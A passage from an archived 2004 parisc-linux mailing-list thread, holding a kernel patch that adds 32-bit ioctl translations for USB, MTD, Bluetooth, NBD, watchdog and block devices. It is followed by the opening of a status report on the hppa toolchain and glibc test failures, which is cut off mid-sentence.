List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 17:20:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20553

This is a multi-part message in MIME format.

--Multipart_Mon__5_Jan_2004_18:19:43_+0100_0880e6d0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

Hello all,

This patch adds missing ioctl translations for 2.4.23-pa4.
I tried to include everything which was missing.
There are usbdevfs, nbd, watchdog, bluetooth, mtd and blocks ioctl.

It's just a 'smart' copy/paste from arch/ppc64/ioctl32.c.

I'm sure it needs review by more skilled guys than me :)
Btw it compiled fine and runs fine here.

-- 
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)

--Multipart_Mon__5_Jan_2004_18:19:43_+0100_0880e6d0
Content-Type: text/plain;
	name="parisc-2.4.23-pa4-missing-ioctl-translations.patch"
Content-Disposition: attachment;
	filename="parisc-2.4.23-pa4-missing-ioctl-translations.patch"
Content-Transfer-Encoding: quoted-printable

diff -uNrX /root/dontdiff linux-2.4.23-pa4.orig/arch/parisc/kernel/ioctl32.=
c linux-2.4.23-pa4/arch/parisc/kernel/ioctl32.c
--- linux-2.4.23-pa4.orig/arch/parisc/kernel/ioctl32.c	2004-01-05 12:01:14.=
000000000 +0000
+++ linux-2.4.23-pa4/arch/parisc/kernel/ioctl32.c	2004-01-05 13:45:40.00000=
0000 +0000
@@ -48,6 +48,7 @@
 #include <linux/blk.h>
 #include <linux/elevator.h>
 #include <linux/rtc.h>
+#include <linux/pci.h>
 #include <linux/serial.h>
 #if defined(CONFIG_BLK_DEV_LVM) || defined(CONFIG_BLK_DEV_LVM_MODULE)
 /* Ugh. This header really is not clean */
@@ -67,6 +68,7 @@
 #include <asm/uaccess.h>
 #include <asm/perf.h>
 #include <linux/ethtool.h>
+#include <linux/watchdog.h>
 #include <linux/soundcard.h>
=20
 #include <linux/atm.h>
@@ -81,6 +83,15 @@
 #include <linux/sonet.h>
 #include <linux/atm_suni.h>
=20
+#include <linux/mtd/mtd.h>
+
+#include <net/bluetooth/bluetooth.h>
+#include <net/bluetooth/hci.h>
+
+#include <linux/usb.h>
+#include <linux/usbdevice_fs.h>
+#include <linux/nbd.h>
+
 #include <asm/module.h>	/* get #define module_map() */
=20
 /* Use this to get at 32-bit user passed pointers.=20
@@ -2810,6 +2821,488 @@
 	return rw_long(fd, AUTOFS_IOC_SETTIMEOUT, arg);
 }
=20
+struct usbdevfs_ctrltransfer32 {
+	__u8 requesttype;
+	__u8 request;
+	__u16 value;
+	__u16 index;
+	__u16 length;
+	__u32 timeout;  /* in milliseconds */
+	__u32 data;
+};
+
+#define USBDEVFS_CONTROL32           _IOWR('U', 0, struct usbdevfs_ctrltra=
nsfer32)
+
+static int do_usbdevfs_control(unsigned int fd, unsigned int cmd, unsigned=
 long arg)
+{
+	struct usbdevfs_ctrltransfer kctrl;
+	struct usbdevfs_ctrltransfer32 *uctrl;
+	mm_segment_t old_fs;
+	__u32 udata;
+	void *uptr, *kptr;
+	int err;
+
+	uctrl =3D (struct usbdevfs_ctrltransfer32 *) arg;
+
+	if (copy_from_user(&kctrl, uctrl,
+			   (sizeof(struct usbdevfs_ctrltransfer) -
+			    sizeof(void *))))
+		return -EFAULT;
+
+	if (get_user(udata, &uctrl->data))
+		return -EFAULT;
+	uptr =3D (void *) A(udata);
+
+	/* In usbdevice_fs, it limits the control buffer to a page,
+	 * for simplicity so do we.
+	 */
+	if (!uptr || kctrl.length > PAGE_SIZE)
+		return -EINVAL;
+
+	kptr =3D (void *)__get_free_page(GFP_KERNEL);
+
+	if ((kctrl.requesttype & 0x80) =3D=3D 0) {
+		err =3D -EFAULT;
+		if (copy_from_user(kptr, uptr, kctrl.length))
+			goto out;
+	}
+
+	kctrl.data =3D kptr;
+
+	old_fs =3D get_fs();
+	set_fs(KERNEL_DS);
+	err =3D sys_ioctl(fd, USBDEVFS_CONTROL, (unsigned long)&kctrl);
+	set_fs(old_fs);
+
+	if (err >=3D 0 &&
+	    ((kctrl.requesttype & 0x80) !=3D 0)) {
+		if (copy_to_user(uptr, kptr, kctrl.length))
+			err =3D -EFAULT;
+	}
+
+out:
+	free_page((unsigned long) kptr);
+	return err;
+}
+
+struct usbdevfs_bulktransfer32 {
+	unsigned int ep;
+	unsigned int len;
+	unsigned int timeout; /* in milliseconds */
+	__u32 data;
+};
+
+#define USBDEVFS_BULK32              _IOWR('U', 2, struct usbdevfs_bulktra=
nsfer32)
+
+static int do_usbdevfs_bulk(unsigned int fd, unsigned int cmd, unsigned lo=
ng arg)
+{
+	struct usbdevfs_bulktransfer kbulk;
+	struct usbdevfs_bulktransfer32 *ubulk;
+	mm_segment_t old_fs;
+	__u32 udata;
+	void *uptr, *kptr;
+	int err;
+
+	ubulk =3D (struct usbdevfs_bulktransfer32 *) arg;
+
+	if (get_user(kbulk.ep, &ubulk->ep) ||
+	    get_user(kbulk.len, &ubulk->len) ||
+	    get_user(kbulk.timeout, &ubulk->timeout) ||
+	    get_user(udata, &ubulk->data))
+		return -EFAULT;
+
+	uptr =3D (void *) A(udata);
+
+	/* In usbdevice_fs, it limits the control buffer to a page,
+	 * for simplicity so do we.
+	 */
+	if (!uptr || kbulk.len > PAGE_SIZE)
+		return -EINVAL;
+
+	kptr =3D (void *) __get_free_page(GFP_KERNEL);
+
+	if ((kbulk.ep & 0x80) =3D=3D 0) {
+		err =3D -EFAULT;
+		if (copy_from_user(kptr, uptr, kbulk.len))
+			goto out;
+	}
+
+	kbulk.data =3D kptr;
+
+	old_fs =3D get_fs();
+	set_fs(KERNEL_DS);
+	err =3D sys_ioctl(fd, USBDEVFS_BULK, (unsigned long) &kbulk);
+	set_fs(old_fs);
+
+	if (err >=3D 0 &&
+	    ((kbulk.ep & 0x80) !=3D 0)) {
+		if (copy_to_user(uptr, kptr, kbulk.len))
+			err =3D -EFAULT;
+	}
+
+out:
+	free_page((unsigned long) kptr);
+	return err;
+}
+
+/* This needs more work before we can enable it.  Unfortunately
+ * because of the fancy asynchronous way URB status/error is written
+ * back to userspace, we'll need to fiddle with USB devio internals
+ * and/or reimplement entirely the frontend of it ourselves. -DaveM
+ *
+ * The issue is:
+ *
+ *	When an URB is submitted via usbdevicefs it is put onto an
+ *	asynchronous queue.  When the URB completes, it may be reaped
+ *	via another ioctl.  During this reaping the status is written
+ *	back to userspace along with the length of the transfer.
+ *
+ *	We must translate into 64-bit kernel types so we pass in a kernel
+ *	space copy of the usbdevfs_urb structure.  This would mean that we
+ *	must do something to deal with the async entry reaping.  First we
+ *	have to deal somehow with this transitory memory we've allocated.
+ *	This is problematic since there are many call sites from which the
+ *	async entries can be destroyed (and thus when we'd need to free up
+ *	this kernel memory).  One of which is the close() op of usbdevicefs.
+ *	To handle that we'd need to make our own file_operations struct which
+ *	overrides usbdevicefs's release op with our own which runs usbdevicefs's
+ *	real release op then frees up the kernel memory.
+ *
+ *	But how to keep track of these kernel buffers?  We'd need to either
+ *	keep track of them in some table _or_ know about usbdevicefs internals
+ *	(ie. the exact layout of it's file private, which is actually defined
+ *	in linux/usbdevice_fs.h, the layout of the async queues are private to
+ *	devio.c)
+ *
+ * There is one possible other solution I considered, also involving knowl=
edge
+ * of usbdevicefs internals:
+ *
+ *	After an URB is submitted, we "fix up" the address back to the user
+ *	space one.  This would work if the status/length fields written back
+ *	by the async URB completion lines up perfectly in the 32-bit type with
+ *	the 64-bit kernel type.  Unfortunately, it does not because the iso
+ *	frame descriptors, at the end of the struct, can be written back.
+ *
+ * I think we'll just need to simply duplicate the devio URB engine here.
+ */
+#if 0
+struct usbdevfs_urb32 {
+	__u8 type;
+	__u8 endpoint;
+	__s32 status;
+	__u32 flags;
+	__u32 buffer;
+	__s32 buffer_length;
+	__s32 actual_length;
+	__s32 start_frame;
+	__s32 number_of_packets;
+	__s32 error_count;
+	__u32 signr;
+	__u32 usercontext; /* unused */
+	struct usbdevfs_iso_packet_desc iso_frame_desc[0];
+};
+
+#define USBDEVFS_SUBMITURB32       _IOR('U', 10, struct usbdevfs_urb32)
+
+static int get_urb32(struct usbdevfs_urb *kurb,
+		     struct usbdevfs_urb32 *uurb)
+{
+	if (get_user(kurb->type, &uurb->type) ||
+	    __get_user(kurb->endpoint, &uurb->endpoint) ||
+	    __get_user(kurb->status, &uurb->status) ||
+	    __get_user(kurb->flags, &uurb->flags) ||
+	    __get_user(kurb->buffer_length, &uurb->buffer_length) ||
+	    __get_user(kurb->actual_length, &uurb->actual_length) ||
+	    __get_user(kurb->start_frame, &uurb->start_frame) ||
+	    __get_user(kurb->number_of_packets, &uurb->number_of_packets) ||
+	    __get_user(kurb->error_count, &uurb->error_count) ||
+	    __get_user(kurb->signr, &uurb->signr))
+		return -EFAULT;
+
+	kurb->usercontext =3D 0; /* unused currently */
+
+	return 0;
+}
+
+/* Just put back the values which usbdevfs actually changes. */
+static int put_urb32(struct usbdevfs_urb *kurb,
+		     struct usbdevfs_urb32 *uurb)
+{
+	if (put_user(kurb->status, &uurb->status) ||
+	    __put_user(kurb->actual_length, &uurb->actual_length) ||
+	    __put_user(kurb->error_count, &uurb->error_count))
+		return -EFAULT;
+
+	if (kurb->number_of_packets !=3D 0) {
+		int i;
+
+		for (i =3D 0; i < kurb->number_of_packets; i++) {
+			if (__put_user(kurb->iso_frame_desc[i].actual_length,
+				       &uurb->iso_frame_desc[i].actual_length) ||
+			    __put_user(kurb->iso_frame_desc[i].status,
+				       &uurb->iso_frame_desc[i].status))
+				return -EFAULT;
+		}
+	}
+
+	return 0;
+}
+
+static int get_urb32_isoframes(struct usbdevfs_urb *kurb,
+			       struct usbdevfs_urb32 *uurb)
+{
+	unsigned int totlen;
+	int i;
+
+	if (kurb->type !=3D USBDEVFS_URB_TYPE_ISO) {
+		kurb->number_of_packets =3D 0;
+		return 0;
+	}
+
+	if (kurb->number_of_packets < 1 ||
+	    kurb->number_of_packets > 128)
+		return -EINVAL;
+
+	if (copy_from_user(&kurb->iso_frame_desc[0],
+			   &uurb->iso_frame_desc[0],
+			   sizeof(struct usbdevfs_iso_packet_desc) *
+			   kurb->number_of_packets))
+		return -EFAULT;
+
+	totlen =3D 0;
+	for (i =3D 0; i < kurb->number_of_packets; i++) {
+		unsigned int this_len;
+
+		this_len =3D kurb->iso_frame_desc[i].length;
+		if (this_len > 1023)
+			return -EINVAL;
+
+		totlen +=3D this_len;
+	}
+
+	if (totlen > 32768)
+		return -EINVAL;
+
+	kurb->buffer_length =3D totlen;
+
+	return 0;
+}
+
+static int do_usbdevfs_urb(unsigned int fd, unsigned int cmd, unsigned lon=
g arg)
+{
+	struct usbdevfs_urb *kurb;
+	struct usbdevfs_urb32 *uurb;
+	mm_segment_t old_fs;
+	__u32 udata;
+	void *uptr, *kptr;
+	unsigned int buflen;
+	int err;
+
+	uurb =3D (struct usbdevfs_urb32 *) arg;
+
+	err =3D -ENOMEM;
+	kurb =3D kmalloc(sizeof(struct usbdevfs_urb) +
+		       (sizeof(struct usbdevfs_iso_packet_desc) * 128),
+		       GFP_KERNEL);
+	if (!kurb)
+		goto out;
+
+	err =3D -EFAULT;
+	if (get_urb32(kurb, uurb))
+		goto out;
+
+	err =3D get_urb32_isoframes(kurb, uurb);
+	if (err)
+		goto out;
+
+	err =3D -EFAULT;
+	if (__get_user(udata, &uurb->buffer))
+		goto out;
+	uptr =3D (void *) A(udata);
+
+	err =3D -ENOMEM;
+	buflen =3D kurb->buffer_length;
+	kptr =3D kmalloc(buflen, GFP_KERNEL);
+	if (!kptr)
+		goto out;
+
+	kurb->buffer =3D kptr;
+
+	err =3D -EFAULT;
+	if (copy_from_user(kptr, uptr, buflen))
+		goto out_kptr;
+
+	old_fs =3D get_fs();
+	set_fs(KERNEL_DS);
+	err =3D sys_ioctl(fd, USBDEVFS_SUBMITURB, (unsigned long) kurb);
+	set_fs(old_fs);
+
+	if (err >=3D 0) {
+		/* XXX Shit, this doesn't work for async URBs :-( XXX */
+		if (put_urb32(kurb, uurb)) {
+			err =3D -EFAULT;
+		} else if ((kurb->endpoint & USB_DIR_IN) !=3D 0) {
+			if (copy_to_user(uptr, kptr, buflen))
+				err =3D -EFAULT;
+		}
+	}
+
+out_kptr:
+	kfree(kptr);
+
+out:
+	kfree(kurb);
+	return err;
+}
+#endif
+
+#define USBDEVFS_REAPURB32         _IOW('U', 12, u32)
+#define USBDEVFS_REAPURBNDELAY32   _IOW('U', 13, u32)
+
+static int do_usbdevfs_reapurb(unsigned int fd, unsigned int cmd, unsigned=
 long arg)
+{
+	mm_segment_t old_fs;
+	void *kptr;
+	int err;
+
+	old_fs =3D get_fs();
+	set_fs(KERNEL_DS);
+	err =3D sys_ioctl(fd,
+			(cmd =3D=3D USBDEVFS_REAPURB32 ?
+			 USBDEVFS_REAPURB :
+			 USBDEVFS_REAPURBNDELAY),
+			(unsigned long) &kptr);
+	set_fs(old_fs);
+
+	if (err >=3D 0 &&
+	    put_user(((u32)(long)kptr), (u32 *) A(arg)))
+		err =3D -EFAULT;
+
+	return err;
+}
+
+struct usbdevfs_disconnectsignal32 {
+	unsigned int signr;
+	u32 context;
+};
+
+#define USBDEVFS_DISCSIGNAL32      _IOR('U', 14, struct usbdevfs_disconnec=
tsignal32)
+
+static int do_usbdevfs_discsignal(unsigned int fd, unsigned int cmd, unsig=
ned long arg)
+{
+	struct usbdevfs_disconnectsignal kdis;
+	struct usbdevfs_disconnectsignal32 *udis;
+	mm_segment_t old_fs;
+	u32 uctx;
+	int err;
+
+	udis =3D (struct usbdevfs_disconnectsignal32 *) arg;
+
+	if (get_user(kdis.signr, &udis->signr) ||
+	    __get_user(uctx, &udis->context))
+		return -EFAULT;
+
+	kdis.context =3D (void *) (long)uctx;
+
+	old_fs =3D get_fs();
+	set_fs(KERNEL_DS);
+	err =3D sys_ioctl(fd, USBDEVFS_DISCSIGNAL, (unsigned long) &kdis);
+	set_fs(old_fs);
+
+	return err;
+}
+
+
+struct mtd_oob_buf32 {
+	u32 start;
+	u32 length;
+	u32 ptr;	/* unsigned char* */
+};
+
+#define MEMWRITEOOB32 	_IOWR('M',3,struct mtd_oob_buf32)
+#define MEMREADOOB32 	_IOWR('M',4,struct mtd_oob_buf32)
+
+static inline int=20
+mtd_rw_oob(unsigned int fd, unsigned int cmd, unsigned long arg)
+{
+	mm_segment_t 			old_fs 	=3D get_fs();
+	struct mtd_oob_buf32	*uarg 	=3D (struct mtd_oob_buf32 *)arg;
+	struct mtd_oob_buf		karg;
+	u32 tmp;
+	char *ptr;
+	int ret;
+
+	if (get_user(karg.start, &uarg->start) 		||
+	    get_user(karg.length, &uarg->length)	||
+	    get_user(tmp, &uarg->ptr))
+		return -EFAULT;
+
+	ptr =3D (char *)A(tmp);
+	if (0 >=3D karg.length)=20
+		return -EINVAL;
+
+	karg.ptr =3D kmalloc(karg.length, GFP_KERNEL);
+	if (NULL =3D=3D karg.ptr)
+		return -ENOMEM;
+
+	if (copy_from_user(karg.ptr, ptr, karg.length)) {
+		kfree(karg.ptr);
+		return -EFAULT;
+	}
+
+	set_fs(KERNEL_DS);
+	if (MEMREADOOB32 =3D=3D cmd)=20
+		ret =3D sys_ioctl(fd, MEMREADOOB, (unsigned long)&karg);
+	else if (MEMWRITEOOB32 =3D=3D cmd)
+		ret =3D sys_ioctl(fd, MEMWRITEOOB, (unsigned long)&karg);
+	else
+		ret =3D -EINVAL;
+	set_fs(old_fs);
+
+	if (0 =3D=3D ret && cmd =3D=3D MEMREADOOB32) {
+		ret =3D copy_to_user(ptr, karg.ptr, karg.length);
+		ret |=3D put_user(karg.start, &uarg->start);
+		ret |=3D put_user(karg.length, &uarg->length);
+	}
+
+	kfree(karg.ptr);
+	return ((0 =3D=3D ret) ? 0 : -EFAULT);
+}=09
+
+/* Fix sizeof(sizeof()) breakage */
+#define BLKELVGET_32	_IOR(0x12,106,int)
+#define BLKELVSET_32	_IOW(0x12,107,int)
+#define BLKBSZGET_32	_IOR(0x12,112,int)
+#define BLKBSZSET_32	_IOW(0x12,113,int)
+#define BLKGETSIZE64_32	_IOR(0x12,114,int)
+
+static int do_blkelvget(unsigned int fd, unsigned int cmd, unsigned long a=
rg)
+{
+	return sys_ioctl(fd, BLKELVGET, arg);
+}
+
+static int do_blkelvset(unsigned int fd, unsigned int cmd, unsigned long a=
rg)
+{
+	return sys_ioctl(fd, BLKELVSET, arg);
+}
+
+static int do_blkbszget(unsigned int fd, unsigned int cmd, unsigned long a=
rg)
+{
+	return sys_ioctl(fd, BLKBSZGET, arg);
+}
+
+static int do_blkbszset(unsigned int fd, unsigned int cmd, unsigned long a=
rg)
+{
+	return sys_ioctl(fd, BLKBSZSET, arg);
+}
+
+static int do_blkgetsize64(unsigned int fd, unsigned int cmd,
+			   unsigned long arg)
+{
+	return sys_ioctl(fd, BLKGETSIZE64, arg);
+}
+
+
=20
 struct serial_struct32 {
 	int	type;
@@ -3446,8 +3939,75 @@
 /* elevator */
 COMPATIBLE_IOCTL(BLKELVGET)
 COMPATIBLE_IOCTL(BLKELVSET)
+//* Big W */
+/* WIOC_GETSUPPORT not yet implemented -E */
+COMPATIBLE_IOCTL(WDIOC_GETSTATUS)
+COMPATIBLE_IOCTL(WDIOC_GETBOOTSTATUS)
+COMPATIBLE_IOCTL(WDIOC_GETTEMP)
+COMPATIBLE_IOCTL(WDIOC_SETOPTIONS)
+COMPATIBLE_IOCTL(WDIOC_KEEPALIVE)
+/* Big R */
+COMPATIBLE_IOCTL(RNDGETENTCNT)
+COMPATIBLE_IOCTL(RNDADDTOENTCNT)
+COMPATIBLE_IOCTL(RNDGETPOOL)
+COMPATIBLE_IOCTL(RNDADDENTROPY)
+COMPATIBLE_IOCTL(RNDZAPENTCNT)
+COMPATIBLE_IOCTL(RNDCLEARPOOL)
+/* Bluetooth ioctls */
+COMPATIBLE_IOCTL(HCIDEVUP)
+COMPATIBLE_IOCTL(HCIDEVDOWN)
+COMPATIBLE_IOCTL(HCIDEVRESET)
+COMPATIBLE_IOCTL(HCIDEVRESTAT)
+COMPATIBLE_IOCTL(HCIGETDEVINFO)
+COMPATIBLE_IOCTL(HCIGETDEVLIST)
+COMPATIBLE_IOCTL(HCISETRAW)
+COMPATIBLE_IOCTL(HCISETSCAN)
+COMPATIBLE_IOCTL(HCISETAUTH)
+COMPATIBLE_IOCTL(HCIINQUIRY)
+COMPATIBLE_IOCTL(PCIIOC_CONTROLLER)
+COMPATIBLE_IOCTL(PCIIOC_MMAP_IS_IO)
+COMPATIBLE_IOCTL(PCIIOC_MMAP_IS_MEM)
+COMPATIBLE_IOCTL(PCIIOC_WRITE_COMBINE)
+/* USB */
+COMPATIBLE_IOCTL(USBDEVFS_RESETEP)
+COMPATIBLE_IOCTL(USBDEVFS_SETINTERFACE)
+COMPATIBLE_IOCTL(USBDEVFS_SETCONFIGURATION)
+COMPATIBLE_IOCTL(USBDEVFS_GETDRIVER)
+COMPATIBLE_IOCTL(USBDEVFS_DISCARDURB)
+COMPATIBLE_IOCTL(USBDEVFS_CLAIMINTERFACE)
+COMPATIBLE_IOCTL(USBDEVFS_RELEASEINTERFACE)
+COMPATIBLE_IOCTL(USBDEVFS_CONNECTINFO)
+COMPATIBLE_IOCTL(USBDEVFS_HUB_PORTINFO)
+COMPATIBLE_IOCTL(USBDEVFS_RESET)
+COMPATIBLE_IOCTL(USBDEVFS_CLEAR_HALT)
+/* MTD */
+COMPATIBLE_IOCTL(MEMGETINFO)
+COMPATIBLE_IOCTL(MEMERASE)
+COMPATIBLE_IOCTL(MEMLOCK)
+COMPATIBLE_IOCTL(MEMUNLOCK)
+COMPATIBLE_IOCTL(MEMGETREGIONCOUNT)
+COMPATIBLE_IOCTL(MEMGETREGIONINFO)
+/* NBD */
+COMPATIBLE_IOCTL(NBD_SET_SOCK)
+COMPATIBLE_IOCTL(NBD_SET_BLKSIZE)
+COMPATIBLE_IOCTL(NBD_SET_SIZE)
+COMPATIBLE_IOCTL(NBD_DO_IT)
+COMPATIBLE_IOCTL(NBD_CLEAR_SOCK)
+COMPATIBLE_IOCTL(NBD_CLEAR_QUE)
+COMPATIBLE_IOCTL(NBD_PRINT_DEBUG)
+COMPATIBLE_IOCTL(NBD_SET_SIZE_BLOCKS)
+COMPATIBLE_IOCTL(NBD_DISCONNECT)
+/* Remove *PRIVATE in 2.5 */
+COMPATIBLE_IOCTL(SIOCDEVPRIVATE)
+COMPATIBLE_IOCTL(SIOCDEVPRIVATE+1)
+COMPATIBLE_IOCTL(SIOCDEVPRIVATE+2)
+COMPATIBLE_IOCTL(SIOCGMIIPHY)
+COMPATIBLE_IOCTL(SIOCGMIIREG)
+COMPATIBLE_IOCTL(SIOCSMIIREG)
 /* And these ioctls need translation */
 HANDLE_IOCTL(TIOCGSERIAL, do_tiocgserial)
+HANDLE_IOCTL(MEMREADOOB32, mtd_rw_oob)
+HANDLE_IOCTL(MEMWRITEOOB32, mtd_rw_oob)
 HANDLE_IOCTL(SIOCGIFNAME, dev_ifname32)
 HANDLE_IOCTL(SIOCGIFCONF, dev_ifconf)
 HANDLE_IOCTL(SIOCGIFFLAGS, dev_ifsioc)
@@ -3606,16 +4166,30 @@
 COMPATIBLE_IOCTL(RTC_EPOCH_SET)
 #endif
 #if defined(CONFIG_DRM) || defined(CONFIG_DRM_MODULE)
-HANDLE_IOCTL(DRM32_IOCTL_VERSION, drm32_version);
-HANDLE_IOCTL(DRM32_IOCTL_GET_UNIQUE, drm32_getsetunique);
-HANDLE_IOCTL(DRM32_IOCTL_SET_UNIQUE, drm32_getsetunique);
-HANDLE_IOCTL(DRM32_IOCTL_ADD_MAP, drm32_addmap);
-HANDLE_IOCTL(DRM32_IOCTL_INFO_BUFS, drm32_info_bufs);
-HANDLE_IOCTL(DRM32_IOCTL_FREE_BUFS, drm32_free_bufs);
-HANDLE_IOCTL(DRM32_IOCTL_MAP_BUFS, drm32_map_bufs);
-HANDLE_IOCTL(DRM32_IOCTL_DMA, drm32_dma);
-HANDLE_IOCTL(DRM32_IOCTL_RES_CTX, drm32_res_ctx);
+HANDLE_IOCTL(DRM32_IOCTL_VERSION, drm32_version)
+HANDLE_IOCTL(DRM32_IOCTL_GET_UNIQUE, drm32_getsetunique)
+HANDLE_IOCTL(DRM32_IOCTL_SET_UNIQUE, drm32_getsetunique)
+HANDLE_IOCTL(DRM32_IOCTL_ADD_MAP, drm32_addmap)
+HANDLE_IOCTL(DRM32_IOCTL_INFO_BUFS, drm32_info_bufs)
+HANDLE_IOCTL(DRM32_IOCTL_FREE_BUFS, drm32_free_bufs)
+HANDLE_IOCTL(DRM32_IOCTL_MAP_BUFS, drm32_map_bufs)
+HANDLE_IOCTL(DRM32_IOCTL_DMA, drm32_dma)
+HANDLE_IOCTL(DRM32_IOCTL_RES_CTX, drm32_res_ctx)
 #endif /* DRM */
+HANDLE_IOCTL(USBDEVFS_CONTROL32, do_usbdevfs_control)
+HANDLE_IOCTL(USBDEVFS_BULK32, do_usbdevfs_bulk)
+/*HANDLE_IOCTL(USBDEVFS_SUBMITURB32, do_usbdevfs_urb)*/
+HANDLE_IOCTL(USBDEVFS_REAPURB32, do_usbdevfs_reapurb)
+HANDLE_IOCTL(USBDEVFS_REAPURBNDELAY32, do_usbdevfs_reapurb)
+HANDLE_IOCTL(USBDEVFS_DISCSIGNAL32, do_usbdevfs_discsignal)
+/* take care of sizeof(sizeof()) breakage */
+/* elevator */
+HANDLE_IOCTL(BLKELVGET_32, do_blkelvget)
+HANDLE_IOCTL(BLKELVSET_32, do_blkelvset)
+/* block stuff */ =20
+HANDLE_IOCTL(BLKBSZGET_32, do_blkbszget)
+HANDLE_IOCTL(BLKBSZSET_32, do_blkbszset)
+HANDLE_IOCTL(BLKGETSIZE64_32, do_blkgetsize64)
 COMPATIBLE_IOCTL(PA_PERF_ON)
 COMPATIBLE_IOCTL(PA_PERF_OFF)
 COMPATIBLE_IOCTL(PA_PERF_VERSION)

--Multipart_Mon__5_Jan_2004_18:19:43_+0100_0880e6d0--


From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
Date: Mon, 5 Jan 2004 12:21:46 -0500
Lines: 113
Approved: news@gmane.org
Message-ID: <20040105172146.GE23782__32716.1662084565$1416623104$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623104 4293 80.91.229.3 (22 Nov 2014 02:25:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: carlos@baldric.uwo.ca  Mon Jan  5 10:29:59 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE82648C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 10:29:58 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AdYQF-00023P-00; Mon, 05 Jan 2004 12:21:47 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (95% Sync Ratio [==========])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 17:29:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20554


Dear list-members,

A new year is here and it's time to look back and say, hey, we did a
great job, hacked on many things and made parisc a better port!

============
GNU/binutils
============

Maybe someone can comment on this? Randolph was great enough to remove
silly ltp relocations from static binaries. Without the loader running
the ltp is never read from the DT_PLTGOT dynamic entries... so it just
made sense to translate these into dp relative relocations. dlopen from
static binaries still doesn't work, minor problem really.

I know that hppa is not really multi-arch? We have to have two separate
binaries to do 32 and 64-bit work. Someone want a project? :)

======
GNU/cc
======

jda, you're the best person to talk about how gcc is doing. I can build
kernels with 3.3.3, sadly with the anon cvs down it's messed up my usual
workflow when it comes to testing.

jda, you mentioned that the libstdc++ testsuite could be examined in
order to fix some of our failures.

============
GNU/debugger
============

Our gdb has no visibility upstream. I'm taking a hiatus from glibc to
fix gdb. I volunteered for this like 2 years ago, but glibc took a long
time to fix.

===============
ELF64 Userspace
===============

32-bit versus 64-bit signals are fixed. Along with ucontext and siginfo.
A good project might be for someone to implement the set/get/make/swap
context calls in userspace, takers are welcome! I will *not* be working
ELF64 yet, without a working gdb it's quite hard to do *anything*. I
just recently learned how to poke insns into binary files for
debugging... it's not as much fun as you think ;)

I need to do similar signal hacking for ia64 or upstream may never
accept my linux/kernel/* patches. Worst-case has us absorb the changes
into our arch directory and nobody else benefits from the framework :(

============================
Kernel<->Usrspace Atomic ops
============================

Will work on these whilst I hack gdb. Expect a first cut in a month or
so.

========
GNU/libc
========

I'm here to speak on behalf of the userspace work we have done. Glibc is
in *much* better shape than before, a year ago there were so many errors
I didn't know where to begin. Our current list of failures is down to:

make[2]: *** [/glibc-work/build-hppa/math/test-float.out] Error 136
make[2]: *** [/glibc-work/build-hppa/math/test-double.out] Error 1
make[2]: *** [/glibc-work/build-hppa/math/test-ifloat.out] Error 136
make[1]: *** [math/tests] Error 2

These three tests are related to the fact that we don't have long double
supported properly. Waiting on HP to release the code. An alternative is
a long double with only 64-bits, though this would be the *last* thing
on the list of userspace problems to fix (it would cement our long
double ABI at 64-bits).

make[2]: *** [/glibc-work/build-hppa/stdlib/tst-strtod.out] Error 1
make[2]: *** [/glibc-work/build-hppa/stdlib/bug-strtod.out] Error 1
make[1]: *** [stdlib/tests] Error 2

Same issue, no long double support, so string to double fails.

make[2]: *** [/glibc-work/build-hppa/dlfcn/tststatic.out] Error 139
make[1]: *** [dlfcn/tests] Error 2

The value of an address is interpreted as a function descriptor and
erroneously loads the wrong stuff during the jump. This will require a
bit more work to track down the particular PLABEL32 or IPLT relocation
causing the problem.

The trickiest bugs to remove were all those symbol visibility bugs,
which weren't related to symbol visibility at all. Infact due to our
erroneous function pointer implementation we were skipping all ld.so.1
COPY relocations. I ported hppa over to use the generic function
